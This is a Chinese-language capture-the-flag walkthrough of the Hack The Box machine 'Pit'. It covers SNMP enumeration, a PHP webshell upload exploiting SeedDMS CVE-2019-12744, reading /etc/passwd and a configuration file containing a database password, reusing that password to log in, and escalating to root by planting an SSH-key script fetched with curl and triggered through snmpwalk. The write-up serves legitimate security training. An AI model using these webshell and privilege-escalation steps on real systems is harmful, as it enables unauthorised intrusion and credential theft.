Hackthebox - Pit
Hackthebox - Pit 靶场实战
靶场信息

靶场类型

信息搜集
首先使用nmap进行端口扫描
nmap -A -sS -sC -sV 10.10.10.241

我们可以看到,该靶场开启了22、80、9090端口
并且有一个一个域名dms-pit.htb,咱们将它加入hosts里
vim /etc/hosts

首先我们访问一下pit.htb看看

就是一个Nginx的初始页面,没什么看的意义
接着咱们看看dms-pit.htb

啊这,直接403,也不用看,那咱们去看看9090端口吧

好像是一个CentOS的在线管理页面,但是咱们也没密码啊
经过大量的目录搜集以后,我发现还是没什么有用的信息,没办法了呀,只能去官方论坛看看大佬们的提示了

大佬说在官方推特会有一个很好的提示,那咱们去找找看吧

官方提示在WALK
所以咱们扫描一下这台机器的snmp开放端口吧
nmap -sU 10.10.10.241

我们发现了他的SNMP版本
我们可以使用以下脚本来进行扫描
https://github.com/dheiland-r7/snmp


这里我们成功获得了内核版本、目录、用户名
目前信息获取搜集到这里,我们还是没有进一步的办法,咋办呢
在我翻找10.10.10.241.snmp文件的时候,发现了一行

这显然是一个目录啊,根据目录来构造,URL应该为http://localhost/seeddms51x/seeddms/,让咱们去尝试一下

确认了URL为http://dms-pit.htb/seeddms51x/seeddms/
然后需要账号密码,那还得去找找snmp文件

发现了两个账户
root和michelle,咱们去尝试一下
测试后发现账号密码为michelle,既是账号,也是密码

漏洞利用
这里咱们可以看到所使用的是SeedDMS,然后去搜索一下有没有相关的漏洞

其中第四个是我们要的漏洞,咱们打开看一下
cat /usr/share/exploitdb/exploits/php/webapps/47022.txt

CVE-2019-12744
这个漏洞的意思呢是
- 登录应用程序并在任何文件夹下添加文档
- 选择文件作为简单的php后门文件或任何后门webshell都可以使用
- 上传后检查与文档对应的文档ID
- 访问example.com/data/1048576/“document_id”/1.php?cmd=cat+/etc/passwd以在浏览器中利用
第一步,在本地任意创建一个php文件,内容如下
“; $cmd = ($_REQUEST[‘cmd’]); system($cmd); echo “”; die; } ?>
第二步,登录后台后,依次点击 Docs -> Users -> Michelle -> Add document

第三步,上传php马
第四步,复制php马的连接
http://dms-pit.htb/seeddms51x/seeddms/out/out.ViewDocument.php?documentid=44&showtree=1
从上我们可以得知文档ID为44,然后我们构造poc
http://dms-pit.htb/data/1048576/44/1.php?cmd=cat+/etc/passwd
http://dms-pit.htb/seeddms51x/data/1048576/44/1.php?cmd=cat+/etc/passwd


成功利用该漏洞
该shell会五分钟删除一次,如果被删除了大家重新上传一次即可
咱们查看一下conf/settings.xml文件
http://dms-pit.htb/seeddms51x/data/1048576/45/1.php?cmd=cat%20../../../conf/settings.xml
打开后会发现这是一个空白页面,咱们查看一下源文件

成功拿到数据库账号密码
seeddms
ied^ieY6xoquu
咱们可以看到,数据库账号密码并没有在系统账户里,也就是说无法直接利用ssh进行登录,应该怎么办呢?突然想到,咱们9090端口不是需要一个账号密码嘛,咱们去试试
经过测试,账号是michelle,密码是ied^ieY6xoquu
OK,咱们成功登录

突然,我的眼光就被“终端”两个字吸引了

咱们这就直接从nginx权限,拿到了一个users的权限

成功获得user权限的flag
权限提升
咱们继续把目光放在snmp文件上

在经过确认后,我把眼光放在了这一行上,咱们去看看这个文件

这是一个bash脚本,感觉可能有用,先记录上
上面的脚本显示了从另一个位置运行了脚本,咱们一步步跟过去看看
ls -la /usr/local/monitoring/

无法列出,应该是权限不足,咱们看看该目录的权限

咱们对这个目录有读、写、执行以及+权限
也就是有权限扩展,让咱们查看一下

从上面可以解读出,该目录属于root用户,其他用户有所有权限,但michelle用户只有写入和执行权限
让我们创建一个文件来找出想要的东西

成功了

创建一个sh文件,填入公钥,然后上传到服务器
本地使用python3开启一个http服务器
python3 -m http.server 80
在终端中使用curl进行下载
curl http://10.10.14.236/check.sh -o check.sh

然后拷贝到/usr/local/monitoring/目录下
cp check.sh /usr/local/monitoring/

root账户正运行着一个脚本,监控目录的内容然后在五分钟后删除
把我们的shell放进去后,我们需要在本地运行SNMPwalk应用程序执行它
snmpwalk -m +MY-MIB -v2c -c public 10.10.10.241 nsExtendObjects

然后咱们使用ssh进行连接
ssh -i lucifiel root@10.10.10.241
如果这里提示root@10.10.10.241: Permission denied (publickey,gssapi-keyex,gssapi-with-mic).
则是snmpwalk的问题,输入sudo apt-get install snmp-mibs-downloader进行重新安装即可

成功拿到root权限的flag